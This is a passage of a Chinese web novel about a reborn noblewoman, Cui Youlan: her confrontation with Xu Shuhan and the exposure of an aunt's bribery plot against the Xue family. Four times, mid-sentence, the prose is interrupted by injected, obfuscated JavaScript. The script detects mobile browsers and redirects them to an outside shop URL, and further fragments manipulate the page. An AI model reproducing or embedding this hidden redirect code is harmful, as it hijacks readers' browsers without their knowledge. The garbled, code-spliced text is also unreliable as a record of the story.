“你不要便罢了。”徐述寒沉吟片刻,又接着说道,“只是我也提醒你一句,家中已经这么艰难了,便不要再想那些有的没的,有的人不是你能肖想的。” 闻言,薛泽眉头一拧,虽猜不准他到底在说什么,但更肯定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299190|140204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这人就是蒋氏派来的。 他神情更为冷淡,手随意往旁边一指,道:“不送。” 然后也不再去看徐述寒,只是自顾自转身坐下,继续端起碗筷吃了起来。 徐述寒被他晾在那里,一时也有些恼怒,然而薛泽看起来又实在有几分气性,徐述寒也不好再纠缠什么,否则便是他无礼了,竟只能讪讪离去。 回了马车上,徐述寒并没有立刻离开,只是远远看见薛泽很快吃了饭,帮着妹妹一起收拾了,又似乎是央着母亲和妹妹回家,等她们走了之后,他才继续下地干活,没有丝毫被影响的样子。 徐述寒看在眼中,凤眸微冷。 “走吧。”他对永年淡淡道。 *** 先前既得了俞氏的话,左右成日在家里待着也无聊,崔幼澜便邀了崔清月,二人一同去城里逛。 宜州虽然是个小地方,繁华远远比不上盛都的万分之一,但这毕竟是崔氏的老家,风物世情也与盛都不同,崔幼澜倒也很有兴致到处走走看看。 崔清月素来喜静,她见崔幼澜对周遭好奇,还笑她一句:“七妹妹在家里时端庄得体,怎么来了宜州一趟,我瞧着竟是转了性子了。” 崔幼澜正从马车上往外看一个十三四岁的小娘子卖花,听到崔清月的话,她便转过头来,然而那手依旧捻着帘子不肯放开。 她对崔清月浅浅一笑:“我是想明白了,该尽兴时便尽兴,如今又机会四处走走看看,何必再拘着自己。” 上一世过得那样荒唐,从前所习的一切又有何用,若是那七年加上死过一次都不能让她顿悟,那她也就白白重走这一遭了。 听了她说的话,崔清月歪了歪头,看了崔幼澜半晌,才说道:“七妹妹,我总觉得你和以前不一样了,却又说不出哪里不一样。” 二人时常厮混在一处玩,重生之后崔清月又是与崔幼澜接触最多的人,她能够看出些端倪也是意料之中的事。 崔幼澜怎么可能同她坦白,倒不是怕崔清月不信,而是怕吓到崔清月,连忙道:“我一向就是这样,不过是在家里闷得久了罢了。” 崔清月不是事事都姚刨根问底之人,既然崔幼澜这么说,她也就不说下去了,前头正巧路过一处衣裳铺子,二人便顺道进去看了看。 虽然她们不缺衣裳穿,也从来不穿外面铺子里拿出来卖的衣裳,但见着衣裳首饰等物总归还是心下喜欢的,便是看一看摸一摸也好,这一逛竟是半个时辰过去了。 前面拐角处便是一个茶楼,崔幼澜想拉着崔清月一同进去坐坐,用些点心果子,崔清月却道:“我就不去了。” 崔幼澜问:“为何?” “虽然现在女子在外行走也是常有的,但我也不愿过多抛头露面。”崔清月有些羞赧。 崔幼澜也不逼她,只是她自己是要去茶楼坐一坐,便对崔清月道:“那姐姐先去马车上歇歇吧,一会儿我买了东西给姐姐拿过来。” 崔清月点了头,二人便分道扬镳。 崔幼澜到了茶楼之后要了一间雅座,便同裁冰凝碧一块儿坐着吃东西聊天,另又赏了钱下去给今日陪同她们出来的仆婢们。 正说着话,却见出崔清月身边的婢子忽然没头没脑地撞进来,裁冰连忙起身要训斥,却听见她道:“七娘子,不好了,我们娘子的马车不见了。” 14. 舍得 “不见了?”崔幼澜吓了一跳,不由“腾”一下站了起来,差点碰翻桌上的茶盏,“好好的马车怎么会不见?姐姐人呢?” 婢子道:“娘子回到马车上之后发现那马车坏了,车夫便说要找人来修,娘子继续留在马车上也是无妨的,奴婢便和车夫一块儿出去找人,娘子和其余人在原地等着,结果等我们找了人回来,却发现整辆马车都没影了,明明我们来回才半柱香工夫都不到!” 等她说完,整间雅间一时都没人说话,只剩下窗外大街上行人的喧闹声传进来。 崔幼澜差点眼前一黑,身子晃了晃,裁冰连忙过来扶住她的手,只觉崔幼澜的手凉得和冰块似的。 “快去找,剩下的人赶紧都去找,”崔幼澜倒吸一口冷气,强行使得自己镇定下来,“姐姐不见的时间并不长,走也走不远,一定就在附近。” “要不要回府去禀报老夫人?”凝碧问。 崔幼澜思忖少许,摇头道;“祖母年纪大了,先不要吓着她,你先悄悄回府去多找些人过来一起找。” 她自己也坐不住了,眼看着身边的人都出去找崔清月了,她便带着裁冰一道去了马车不见的地方,只见这里虽然是在一个巷口,但出了巷口便是大街,并不偏僻,大街上往来行人如织,甚至离茶楼都没几步路,一眼便可以望见。 崔幼澜这会儿倒慢慢冷静起来了,崔清月身边只走了一个婢子去和车夫一块儿找人来帮忙,那么就应该还有其他人陪着她,除了贴身的侍婢们之外,还有一个仆妇,有这么多人在是万不会让崔清月出事的。 那么连同崔清月在内的这些人都去了哪儿? “娘子……”裁冰这时忽然叫了崔幼澜一声,示意她往身后看去。 崔幼澜身后便是巷口,较之前方的大街要冷清许多,崔幼澜回头,一束阳光正从墙上照下来,她的眼睛微微刺痛,正下意识要眯起来,却见到背光处有人向她走来。 一时之间她看不清楚来人的脸庞,然而那身形,崔幼澜却几乎一眼就认了出来。 她后退一步,然而那人已经走到了她的面前。 “你是何人?”裁冰已经问道。 是徐述寒。 但他没有回答,只是冷冷地望着崔幼澜。 崔幼澜心头惊涛骇浪顿起,掩在衣袖下的手指抖了两抖,但尚存的一丝理智使得她对裁冰道:“你去大街对面等我。” “娘子?”裁冰瞪大双眼,害怕地上前去虚扶住崔幼澜的手臂,“这人是谁都不知道,娘子怎么能够单独留下来?” 崔清月已经找不到了,这个节骨眼儿上崔幼澜又要私会一个陌生男子,裁冰觉得天都要塌了。 “没事,我……认得他,我们有些事情要说。”崔幼澜轻轻拍了拍裁冰的手背,勉强笑道。 既然崔幼澜的话都说到这个份上了,裁冰也只能听从她的意思,可这走得却是一步三回头,又一面回忆着过往,崔幼澜应该是从未与这个人见过面的。 裁冰走后,崔幼澜也不说话,报以同样冰冷的目光面对徐述寒,她肤色本就欺霜赛雪,此时明明是三四月间了,徐述寒却觉得一瞧见她的面色身上便寒浸浸的。 然而徐述寒莫名心里也有气。 他也说不清自己在气什么,或许是气她一声不吭就跑来宜州。 徐述寒冷笑一声,道:“你倒是跑啊,怎么不跑了?” “我何时跑过?我与我祖母来宜州是名正言顺,怎能算得上跑?”崔幼澜也毫不示弱,她料到总有这么一天,倒也放开手脚去了,“我去哪里,关你什么事?” “好,你如今牙尖嘴利,我说不过你,只是我也不知,枕边人何时成了这样。”徐述寒怒极反笑。 但崔幼澜并没有打算就此偃旗息鼓,她脸上的笑意比徐述寒更冷:“你何时认识过我?我又何时认识过你?我们都那样了,就不必再粉饰太平了。” 七年来对她冷漠以待的是他,把沈雪音接回徐家的也是他,甚至……推她下水的也有可能是他。 崔幼澜怎么还能再继续忍下去? 不等徐述寒说话,她又立刻问道:“我姐姐不见,是不是你干的?” 徐述寒挑了挑眉,没有否认:“我只是借口这里停留不便,劝说之后帮她把马车挪去了别处,她没事。” 一开始马车是他让永丰动的手脚,但现在也已经重新修好了。崔清月比崔幼澜好说话得多,永年过来略说了几句,只道停在这里堵住了路,她便同意去其他地方了,永年当时也自告奋勇会留在原地帮她知会回来的人,但自然不会做到。 “你好卑鄙。”崔幼澜咬牙。 他没有想过若是今天崔清月不见的事真的惊动了俞氏,俞氏年纪大了吓到怎么办,就像上辈子都说俞氏是被她给气死的,所有的风言风语以及指责也都是冲着崔幼澜去的,徐述寒作为事情的另一半参与者,几乎是毫发无损。 对于女子,男子永远不会感同身受。 崔幼澜的心又冷了一寸下去。 徐述寒听见“卑鄙”二字,自然也颇为不忿,但他已经和崔幼澜你来我往嘲讽过几句了,他到底记着要说的事,略一思忖,便也只好决定先稍稍服个软。 他沉声道:“你不肯见我,我也是没有办法,否则支不开你身边那些人。有些事,你跑开也没用,总要我们去解决的。” 崔幼澜知道他说的是平哥儿,不知不觉中指甲已经深深嵌入指腹。 他现在跑出来看似关心,可当时真正给平哥儿的爱护又有多少呢? 事到如今崔幼澜也懒得再去回忆,再去计较了。 崔幼澜心一横,立刻说道:“你以为还会有平哥儿吗?你我本就不想要他,会在一起也都是因为他,既然如此,大家桥归桥路归路才好。” “你这话什么意思?”徐述寒蹙眉。 “那日从宫里回来,我就马上喝了活血的汤药,”崔幼澜看着徐述寒那张俊美无俦的脸,一字一句说道,“这胎根本坐不住,平哥儿不会再有了。” 她的话音落下,徐述寒的脸色已经变得灰败起来。 “你真的……”他不可置信。 崔幼澜笑了一下:“真的。” 徐述寒彻底僵在那里,脑海中却又走马灯似的回忆起平哥儿的样子,从才出生一直到七岁,心如刀绞。 他不由失声道:“你竟舍得?” “我舍不得,”崔幼澜语气平静,“但是舍得,对我、对他都好。” 虽然是说谎,但是说起这些残忍的话语,崔幼澜也不禁心里直发酸。 徐述寒这回没有再说话。 崔幼澜最后瞥了他一样,接着便径自从他身边走过离去。 她走了几步之后又停下,却没再回头,只是淡淡说道:“徐述寒,今后无论好坏,我都不想再和你纠缠了,我有我自己的事要去做,这些事每一样都与你无关。另外,不许再像今日一样接近利用我六姐姐,否则没你好果子吃。” 那边的裁冰正死死盯着对面,见崔幼澜过来了,连忙将她护住,这时凝碧也跑过来,说是崔清月已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299191|140204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经找到了,一点事都没有,是虚惊一场。 崔幼澜点点头,便立刻带着婢子们去寻崔清月去了。 只有徐述寒一个人留在原地,他也久久不曾转头去看崔幼澜的行踪,一直到永年找到他,他才突然回神一般走到大街上,可哪里还有崔幼澜的影子。 *** 因知道自己差点惹出了一场大麻烦,崔清月也很是羞恼,她性子温和良善,一见到崔幼澜便歉疚起来,不断道歉。 崔幼澜才与徐述寒对峙一番,也感疲倦,拉了崔清月一同上了马车之后,才道:“姐姐不必太过于自责,这也是常有的事,不过是两边错过了罢了,往后咱们出门再多带些人手便是。” 崔清月低下头:“原是我考虑不周了,本就该多留一个人在原地等着。” “这不要紧,姐姐自己身边多带人才安稳。”崔幼澜虽嘴上这么说着,可心里也不禁后怕,好在今日是徐述寒,他倒没别的心思,若真遇上的是坏人,那就不妙了,“今日所幸事虚惊一场,回去之后姐姐也别说这件事,咱们就当没发生过,不要让祖母听了忧心。” 崔清月闻言松了一口气,她也怕回家之后俞氏知晓之后训斥她,她是很怕俞氏的,既然崔幼澜这么说,那么就将此事这么揭过算了。 两人便不再提这事,见了俞氏问安之后,便回到竹风阁休息。 凝碧倒想着方才忙乱慌张之间,崔幼澜先前答应给崔清月带的吃食也没带,便又回了茶楼一趟,带回些坊间的点心果子。 崔幼澜今日见了徐述寒,虽然心里颇有些烦恼,然而因她占了上风,说了几句话也算是出了一口郁气,于是陪着崔清月又用了一些东西。 一边与崔清月有一搭没一搭地说着话,一边喝着才沏好的茶,崔幼澜的神思也渐渐开始清明起来了。 徐述寒出现,两人都各自摊了牌,其实倒也好,只是今日两人都话赶着话,多带愠怒,更是只提及了双方最关心的事,然而除了平哥儿之外,另还有一件事是完全不能忽略的。 那便是当日宫宴上,两个人究竟为何会被下药陷害。 崔幼澜是入宫去赴赏花宴的,四周都是宫妃以及各家女眷,并无成年的外男在场,而像这样的赏花宴,宫里一年也会有个几次,崔幼澜从幼时到如今,已不知去过多少次,偏偏就是她即将入宫的这个当口出了事。 再说徐述寒,他只是被圣上留在宫里的,徐述寒如今算是圣上的近臣,这算不得是什么稀奇事,宫里常有。 原本两人是不会有任何交集的。 崔幼澜想到此处,眸色稍稍黯淡,幕后的那个人显而易见是冲着她来的,为的就是不让她入宫,而徐述寒十有八九倒真是被她所牵连,只因那日他正好在宫中,是最合适的人。 她也理解徐述寒心中的怨怼,若换了她,怕是也不会对对方有好脸色。然而她也是无辜的,并非是像徐述寒所认为的那样,是她自己不想入宫,才特意做下这事。 就算不想入宫个,她也不会拿自己的名节开玩笑,后头的坎坷全因这上头而来,她不可能这么愚昧,将自己推入火坑。 她不知道徐述寒后来有没有看见她的无奈,早先她倒是有心想找机会和徐述寒解释的,但两个人总也没什么话,她也拉不下这脸再去提这茬,后来日子渐渐过去,她也变得无所谓了,随便徐述寒怎么去想。 然而这千般不在意,也仅仅只是对待徐述寒,徐述寒她能放开,但自己的事,她却还是看不透的。 凭什么她要受那样的折辱和磋磨? 15. 暗流 捻在手上的梅饼迟迟没有入口,被崔幼澜掐出了一道浅浅的,月牙形状的指痕。 崔清月见状便道:“是这梅饼不好吃吗,七妹妹怎么不吃了?” 崔幼澜回过神,连忙冲着崔清月笑了笑,然后咬了一口梅饼,酸甜中带着清香的味道在唇齿间弥漫开来,她细细地咀嚼着,只觉后味中又带了些许微苦。 上一世她归于徐家内宅,直到死亡都没有弄清楚事情的真相,反倒自己还死的不明不白,如今她也不知道自己算是人还是鬼,就算是个鬼,那也要死得明白。 只是事有缓急,眼下最要紧的倒不是查出宫里的那只黑手,毕竟上辈子连崔元媞都未能找出个所以然的事,不是她重生就能解决的。 才来了宜州十来天,可宜州这里却暗潮汹涌,俞氏之死到底是不是另有隐情,薛泽还会不会走上辈子的老路,以及她腹中已经存在的孩子,还有崔清月的未来,这一切已经够让崔幼澜焦头烂额了。 慢慢咽下口中的苦涩,崔幼澜端起茶水抿了两口,才道:“姐姐尝尝,这梅饼不错。” 崔清月也跟着吃了一口,立刻点头:“是不错,甜而不腻的。” 崔幼澜掩去唇角的苦笑,原来,这梅饼真的是不苦的。 她收敛回心绪,一时与崔清月两人又说了会儿闲话,忽见剪雪过来,小声对崔幼澜道:“娘子,今日你们不在,我倒看见了一桩闲事。” 剪雪是这几个婢子里头最伶俐的一个,闻言连崔清月都笑了:“好了,你想说就说罢,你们主子什么时候拘束过你。” 剪雪长了嘴,噼里啪啦就开始说起来。 原来今日崔幼澜出门,身边跟了裁冰和凝碧,剪雪和倚翠则是留下来在竹风阁看家,剪雪没多久又坐不住,说是看家可还有其他仆婢在,便与倚翠说了几句,自己出去玩去了。 崔家祖宅其实住的人本就不多,经过扩张修建之后又宽广,虽说最近俞氏回来了,但整座宅子还是没有什么人影。 剪雪往园子里去折花,一路过来就没见着几个人,园子里更是一个人都没有,她走累了,又不急着回去,便找了个阴凉处坐着。 正一瓣一瓣扯着花瓣玩,剪雪忽然听到脚步声,应该是有人到了附近。 她一开始也不觉得有什么,在府里不见着人才是稀罕事,在盛都崔府的时候,这样的园子时常有人进出。 不过剪雪还是防着对方要说话,便想着还是先出来的好,但她这里刚好都被树荫罩着,又在角落里,剪雪还没来得及走出来,对方已经说起了话。 剪雪这下出来也不是,不出来也不是,只得僵在原地。 若说些私事体己话倒也还好,反正剪雪就当没听见,也不往外处说去,但偏偏就不是。 “……外头又孝敬了东西上来,想着让夫人再为他们想想办法……” 剪雪偷偷从探出头看了一眼,说话的是个管事模样的男子。 另一边站着的人剪雪却认识,正是蒋氏身边的仆妇,叫宋娘子的。 宋娘子听后便说道:“你怎么不告诉他们,最近老夫人在,薛家的事更不好办,老夫人那天见到薛家那小子,说是认识的,我们夫人也不敢逼得太紧。” “说了,怎么没说呢?”管事忙道,“但是人家走得勤快,况原先也是答应得好好的,今年再逼上一逼,那地就成了,薛家撑不住。” 宋娘子手一摊:“夫人这几日自己都愁呢,老夫人看来是要动真格的。” 管事道:“你听我说,他们可是又拿了东西过来的,是一对上好的瓷器摆件,夫人的事我也知道,但正因如此,才更要收了他们的东西,否则人走茶凉,万一老夫人真不让夫人和老爷继续打理祖宅了,到那时再要可就要不到了,而且你忘了夫人自己说的,有什么孝敬过来的一律先拿着,我已经收下了,一会儿你拿去给夫人,那边说只要夫人肯答应再逼一逼薛家,他们会再送了东西来,事情办成之后亦有。” 宋娘子终于沉默了。 管事继续说道:“那薛家又能算得上什么,老夫人查的是家里的账,又不是查薛家的事,之前老夫人不过随口一说,这会儿恐怕早就忘了,真动了他们又怎么了,难道他们还能再闹到老夫人跟前?我不会让他们进来的!” 宋娘子道:“那好吧。” 然后便又是一阵脚步声,剪雪知道是他们走了。 她也机灵,又赶紧绕去了其他地方,正好在宋娘子回蒋氏那里的路上偶遇了宋娘子,果真见她手上拿着什么东西。 “奴婢看的真切,虽看不见到底是什么,但约莫就是那瓷器摆件无疑了。”剪雪道。 崔幼澜听完之后一时没有作声,崔清月轻轻叹了一口气,看了看她,先开口说道:“我是不主张你插手此事的,咱们是闺中未嫁女子,凡事都有父母长辈顶着,便是此事也有祖母去管,但听他们这么说,竟是要去逼迫薛家,这样伤天害理的事我也见不得,若是不能提早察觉,只怕好人要受难,这蒋氏又将崔家的清誉置于何地?只是妹妹若自己去与祖母说,其余倒无妨,就怕祖母到底不高兴你多管闲事,不如我与你一起去说,只道是我们两人发现的,祖母便是要骂也是骂我们两个。” 崔清月想得周全稳妥,崔幼澜更没有不同意的道理,上回俞氏已经提点过她,让她安心准备入宫的事,若又是她一个人去为薛家出头,还揭发蒋氏,俞氏过后或许也要不高兴,有崔清月在旁一起,她肩上的担子便能稍微轻一些了。 “只可惜这瓷器摆件已经到了蒋氏的手中,恐怕她不肯那么轻易承认,她若真的咬死不说,祖母难道还能将她言行逼供不成,我只担心她对薛家做的事更隐秘。”崔幼澜对崔清月说出自己的顾虑,又道,“方才剪雪说,蒋氏只要答应下来,就还有其他财物奉上,依着蒋氏分文要取的性子,那摆件到了她跟前,万不会再舍出去的,既然收了东西,那就是同意继续帮他们做事了,最近祖母又查得极严,想来用不了多久蒋氏便会没了掌家大权,到时候她再要动手可就不能了,为了赶紧捞最后一笔,也为了事成之后的报酬,估计她不会拖延很久,恐怕就是这几日了。” 崔清月立刻就听懂了崔幼澜话里的意思,她点点头道:“眼下反而是她在明处,我们在暗处,蒋氏匆忙间怕也有诸多疏漏,我们便使人悄悄盯着她,等她有了动作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299192|140204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便把相关人等先拿了,直接送到祖母面前去,她便抵赖不得了。” “我也和姐姐想的一样。”崔幼澜道。 姐妹俩相视一笑,又悄悄拨了几个能干的仆妇婢子出去,皆是从盛都带来的自己人,做事老练又信得过,只让她们暗中去盯着蒋氏那里。 *** 客栈终归只是暂时落脚之地,徐述寒也住不惯,便让永丰在离崔家不远的地方租了一处宅院,东西都是现置办起来的,勉勉强强才有点样子,只用了一两日工夫,徐述寒便搬了进去。 他从街上回来之后,便径直一言不发进了房里,脸色难看得紧,连带着眸色都沉了许多。 今日与崔幼澜一番交谈,非但没有解决他所挂心之事,还使得他郁郁难平,竟觉得同床共枕了那么久的人,原来自己好像从来没认识过。 那七年里,崔幼澜一直是个令他省心的妻子,虽然他一开始也对她有许多不满,但后头种种,足以将这些都抵消过去。 他也从不接受,到接受了她是他的妻子这件事。 她会把他身边的一切都打点得妥妥当当,衣裳永远都是最合时节,不会让他热着也不会让他冷着,书房供的花从来都是新鲜的,仿佛自己会生长出来,无论他回家多晚,小厨房里总有一口热饭菜。 他们的孩子体弱多病,她也照顾得很好,把病恹恹的平哥儿养到了七岁,还有茵姐儿,茵姐儿是他庶弟的孩子,他抱回来之后,她也待她视如己出。 还有徐家的那些暗流汹涌,她也应对得很好,一直都是游刃有余的,不必他再操心。 除了他的生母金姨娘去世一事,似乎与她有些许瓜葛,可他后来也渐渐看开了,并没有找她去对质。 徐述寒以为她离开并且不见他只是赌一时之气,只要他找到她,她还是会冷静下来,然后心平气和地和他一起商议接下来的事。 可始料未及的是,她竟然对他说了那样的话。 她对他已经视若无物,她也不想再要她从前最爱的平哥儿。 两人重生连一月都未到,她从何时起竟成了这样? 徐述寒倒也不觉得心痛,只是像泡在醋里一样,酸酸的难受。 她连那个薛泽都如此上心,又是送钱又是送物,而对他这个曾经的夫君,竟然连多过问一句都没有。 还是说她还是因前世死前的事对他心怀怨怼,对沈雪音依旧介怀? 修长而又骨节分明的手指已然攥了起来,用力之下更是惨白,而徐述寒的心绪仍旧是久久未能平复。 她上辈子死于他之前,而如今他也重生了,她明知道他一定也是死了的,却连问都不愿意问一句,他为何也重生了,他上辈子又是怎么死的。 心里那隐忍已久的酸涩忽然就迸发了出来,徐述寒一双狭长美丽的凤眸中沾染了一抹不易使人察觉的水光,映着微微泛红的眼圈。 崔幼澜对他说了不想纠缠,原来就真的是如此绝情的。 她甚至还为了她的姐姐而来威胁他,这个姐姐甚至上辈子都几乎未曾听她提起过。 徐述寒气极反笑,只觉四下寂寥,心中愁苦再无人可诉。 16. 惩治 月黑风高,此时已过了子时,崔家祖宅以及宜州城的许多人,都早就沉入了睡梦之中。 远远的有梆子响过几声,崔家内院中,便有一道鬼鬼祟祟的身影,从老宅后面仆役所住的廊房旁一个破旧的边门出去了。 这道边门平日里都是锁着的,旁边也堆放着一堆杂物,并不起眼,钥匙一向由宋娘子掌管着,下人们若私下里想出去,也是从这里走,不过这就要向宋娘子使银钱通融通融了。 此刻宋娘子自己出来了。 她把自己拿着的一串钥匙收好,不由也愁了起来,这串钥匙也不知道还能拿多久,看这形势蒋氏也是自身难保了。 这边门并不是正常连通崔宅与外界的地方,所以周围黑灯瞎火的,连盏灯都没有,宋娘子方才出来的时候也怕夜里行走被人发现,便也没有拿灯笼,只是借着宅子里本来就有的烛火走路,这下倒了外面,才是两眼一抹黑。 蒋氏极怕哪一日自己就不中用了,到了那时哪还有人再来讨好自己,给自己送礼,自那日收了瓷器摆件之后,便应下了那事,也催促着那边赶紧再奉上原先说好的好处,只怕迟了生变数。 其实要是让宋娘子说,也不必这么急,倒是把薛家的事办了之后再一并收才稳妥,一是那边到底是普通人家,能再送什么好东西,不如等薛家那地到了手之后再好好敲上一笔,二是少出去也少招惹人眼,然而蒋氏是掉进钱眼子里的人,自然不肯听,能拿就赶紧拿。 有时连宋娘子一个下人都觉得蒋氏眼皮子浅,而那崔文和也放纵,由着她胡作非为,若蒋氏收敛些,也不至于招来俞氏,这到底是人家的东西。 正想着,前面便走来了一个人,宋娘子心里有数,朝那边招了招手,也不管对方有没有看见,自己站着也不动。 人很快到了跟前,宋娘子问:“老单头,东西呢?” “先前说了过几日就给王管事的,没想到那么急……”被称为老单头的人道,“匆忙之间才凑出来的。” 说着便递给宋娘子一只极小的盒子,宋娘子一边接过一边道:“给我也是一样的,我直接去给夫人,更方便些。” 她打开盒子一看,眉头皱起来:“这是什么?” “耳坠,碧玉耳坠,”老单头有些局促,“一时拿不出更好的了,求宋娘子给我们说几句话好话,等地到手了一定会给夫人送更好的。” 这倒也在宋娘子的意料之中,她点点头:“好吧好吧,你回去等消息吧。” 老单头松了一口气,正要离开,却听见身后响起脚步声,来者不止一人。 宋娘子刚要回身进去,也不由脸色大变。 但她算是有几分急智,连忙就要自己进去再锁了边门,这样才拿不到她,谁知一只脚才退后一步,便被人擒住了肩膀。 外边的老单头不顾一切就要跑,可已经有人高声道:“逃也没用,是老夫人让我们来抓的!拿住了宋娘子,照样找到你!” 老单头一听是老夫人的人,也心知要完了,便只能束手就擒了。 凝碧让人将他们二人捆好,才道:“先关起来,要时刻都盯着。” 这会儿俞氏早就歇下了,自然不会在这个时候去打扰她,凝碧方才说是俞氏的命令,也只是唬他们,让他们以为大势已去。 到了翌日一早,崔幼澜和崔清月姐妹俩,便带着宋娘子和老单头到了俞氏面前。 一旦见了俞氏,甚至都不用问话,他们自己就把话一五一十说了。 宋娘子是宅子里的人倒还罢了,只能认栽,老单头原本就不是善茬,否则也不会盯着孤儿寡母去欺凌,他道:“老夫人捆了我也没用,我是良民,又不是你家的仆役!而且贵府蒋夫人收了我不少好处,如今也办不了事了,你们这样大的家业难道还要贪着我那点钱不还吗?” 俞氏连看都懒得看老单头,只有她身边的王妈妈道:“自然不会欠你的!” 老单头还要再骂,却已经被王妈妈使人塞住嘴拖下去了。 留下宋娘子还在地上发抖,老单头说得倒也不错,他不是崔家的人,俞氏并不能把他怎么样,拿住他不过是为了拿个证据,但是她和蒋氏就完蛋了。 这时崔幼澜开口道:“剪雪,去请叔父和婶娘过来。” 她的声音清浅动人,宋娘子听了却彻底瘫倒了下去。 再说那边蒋氏,蒋氏昨晚半夜让宋娘子去取东西,结果宋娘子一直没有回来,蒋氏等得心急如焚,也知道十有八九是出事了。 她想逃也没处逃,就只能干等着,崔文和也知道这事,也与她一起等着。 剪雪来了,对他们笑道:“九老爷也在这儿,倒不用奴婢再跑一趟了。” 蒋氏和崔文和被一起带到俞氏面前跪下,方才俞氏见宋娘子他们时倒还没有什么表示,这会儿见了这夫妇二人,才是真正一脸怒容。 “不长进的东西!”俞氏劈头盖脸就斥责二人,“家里的事已经由着你们两人做主,这宜州崔氏族人里头谁有你们夫妇二人风光?若是这次我不回来,竟不知你们做出这样黑了心肝的事情!” 蒋氏倒也确实不是个坐以待毙的,她从昨晚上到现在,已经想好了无数说辞,立刻哀哀求饶道:“老夫人,都是我鬼迷心窍,贪图了眼前了那一点蝇头小利,您有所不知那姓单的实在是不好惹,我不过就是收了他一回东西,他便盯上了我,让我一定要帮他出主意把薛家治倒,我一个妇道人家,我也害怕……” “蝇头小利,”俞氏打断蒋氏的话,冷笑道,“你也知道是蝇头小利,方才那个姓单的说他最近给了你一对瓷器摆件,你就眼巴巴去给他办事,还问他去讨要好处,崔家是没给你吃饱饭?” 蒋氏不知不觉冷汗已经湿了一后背,正要继续为自己分辩,俞氏已经继续说下去:“崔家什么好东西没有,我还体恤宜州族人们过得辛苦,三不五时就往宜州送东西,便是连娘娘赏下来的宝贝都往宜州送过,你们在这里当家,哪次又少了你们的?就你眼皮子浅到连一对瓷器摆件都不肯放过,这事若传扬开去,崔家的名声往哪里放?” 俞氏连番将话压下来,蒋氏一时也招架不住了,毕竟俞氏严苛是出了名的,她连忙看向自己的夫君崔文和,想让他为自己说几句话。 谁知崔文和还没来得及开口,便听见崔幼澜在一边冷冷道:“崔家名声倒是小事,那薛家孤儿寡母的过得本就不易,若是被逼到绝境出了什么事,叔父和婶娘的罪过可就大了。” 因着今日只是事涉蒋氏,并不太与崔文和相干,所以崔文和一开始只在旁边听着,不想崔幼澜又忽然点了自己,也不由懊恼起来。 崔幼澜的目光掠过底下那夫妇俩,心里鄙夷更甚,看似蒋氏是主谋,然而若非崔文和放纵,她又怎会胆大如此,况且蒋氏收取的那些好处,他崔文和想来多少也享用过了。 崔幼澜的一番话或许又令俞氏想起了薛家,她更为光火,一掌重重拍在旁边的几案上,使得茶盏中的茶水都飞溅出来。 “先前你为难薛家就罢了,那日我明明已经见过薛泽,也说了他亡父与崔家有旧,曾是崔家几个孩子的老师,你非但不停手,竟还变本加厉,我看你是一点都没把我放在眼里啊! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299193|140204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”俞氏怒斥道。 蒋氏狠狠咬住牙,心下已经恨不得将挑唆的崔幼澜撕碎,但她眼下又没有与其鱼死网破的能力,只能立刻哭着哀求道:“求老夫人饶了我,薛家的事是我错了,我下次真的不敢了!” 俞氏转过眼不看她,只对着王妈妈吩咐几句,王妈妈便带着宋娘子出去,不过很快两人又重新回来,并且带回来了两个大箱笼。 蒋氏见到那两个大箱笼眼睛都直了,里头收的都是她平日里拿的且用不着的散碎物件,放在一起不过就是为了做个数,虽说一时用不着,但也是这么多年积攒下来的,这会儿都被抬了出来,那是一点都守不住了。 蒋氏简直如同剜了心肺一样疼,只能庆幸那些素日在用的没被挖出来罢了。 这时崔文和见俞氏真要动真格的,也马上上前来抱住俞氏大腿,求道:“大伯娘,是我平日里对她管教不严,这些东西我一定让她全部还回去,下次再不会有这样的事了,求大伯娘看在她这么多年打理家事,没有功劳也有苦劳的份上,这一回就饶了她罢!” 俞氏一时没有说话,崔幼澜则和崔清月对视一眼,两人不约而同眼观鼻鼻观心起来。 